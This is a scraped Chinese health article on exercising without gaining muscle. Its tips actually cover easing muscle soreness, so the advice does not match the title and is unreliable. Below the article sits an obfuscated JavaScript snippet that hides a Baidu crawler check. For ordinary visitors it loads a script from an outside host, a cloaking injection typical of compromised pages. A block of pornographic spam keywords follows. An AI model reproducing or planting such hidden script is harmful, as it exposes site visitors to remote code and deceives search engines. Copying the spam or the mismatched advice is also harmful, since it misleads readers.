當前位置:首頁 > 健康 > 運動健身 > 正文

運動不長肌肉有什么方法

2017-04-17 07:37:54  來源:360常識網   熱度:
導語:運動是我們平時都會進行的一種事情,運動不但可以起到調理身體增強體質的功效,而且還可以通過運動來進行減肥,不過也有好多女性朋友會擔心

運動是我們平時都會進行的一種事情,運動不但可以起到調理身體增強體質的功效,而且還可以通過運動來進行減肥,不過也有好多女性朋友會擔心在通過運動減肥的時候,怕會長肌肉,其實這樣的擔心也是有必要的,不過我們在擔心的時候需要注意正確的方法,下面一起來了解一下運動不長肌肉有什么方法?

1、鍛煉安排要合理。經過一段時間鍛煉后,原先出現的肌肉酸痛癥的運動量,就較少出現癥狀了。并且表現有特異性。例如下坡運動鍛煉一段時間后能減輕下坡鍛煉帶來的肌肉酸痛癥。

2、局部溫熱和涂擦藥物。鍛煉后用溫熱水泡洗可減輕肌肉酸痛。局部涂擦油劑、糊劑或按摩擦劑也可減輕疼痛。

3、牽伸肌肉的運動可減輕酸疼。牽伸肌肉可加速肌肉的放松和拮抗肌的緩解,有助于緊張肌肉的恢復。這種肌肉牽伸練習也為預防鍛煉時的拉傷打下基礎。

4、做好鍛煉時的準備活動和整理活動。準備活動做得充分和整理運動做得合理有助于防止或減輕肌肉酸痛。

肌肉最好天天鍛煉,有氧和無氧交叉,一般有氧是預備,把身體預熱,然后再無氧,也就是靜力訓練。鍛煉期間多吃蛋白質食物,運動完之后必須做肌肉拉伸運動,使肌肉徹底松弛。

通過以上的介紹,我們現在知道了運動不長肌肉有什么方法,在我們進行運動減肥的時候,我們可以根據上述的情況來進行減肥的運動,而且根據上述的情況來進行運動的時候,一般是不會長肌肉的,而且在運動后放松是最關鍵的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
思思久久99热只有频精品66| 在线精品无码字幕无码AV| 久久99国产亚洲精品观看| 精品国产乱码久久久久久| 国产suv精品一区二区33| 国产精品无码翘臀在线观看| 欧洲成人午夜精品无码区久久 | 国产精品模特hd在线| 全球AV集中精品导航福利| 精品国产亚洲一区二区在线观看| 国内揄拍国内精品对白86| 国产精品免费高清在线观看| 天天爽夜夜爽8888视频精品| 国产精品久久久久无码av| 精品视频在线免费观看| 一本一本久久a久久精品综合| 中文无码精品A∨在线观看不卡| 亚洲国产精品不卡在线电影| 久久精品无码免费不卡| 国产精品自拍亚洲| 99久久做夜夜爱天天做精品| 久久夜色精品国产噜噜亚洲AV| 伊人这里只有精品| 一区二区三区免费精品视频| 少妇AV射精精品蜜桃专区| 精品久久久无码人妻中文字幕| 亚洲国产成人一区二区精品区| 久久久精品无码专区不卡| 国产成人亚洲精品无码AV大片| 亚洲熟妇久久精品| 色妞妞www精品视频| 少妇人妻无码精品视频app| 亚洲精品成人片在线观看精品字幕| 九九九国产精品成人免费视频| 国产自产拍精品视频免费看| 日韩中文字幕精品免费一区| 久久久久久久精品成人热色戒 | 亚洲日本久久久午夜精品| 99久热只有精品视频免费看| 国产精品久久久久国产A级| 国产女人水真多18毛片18精品|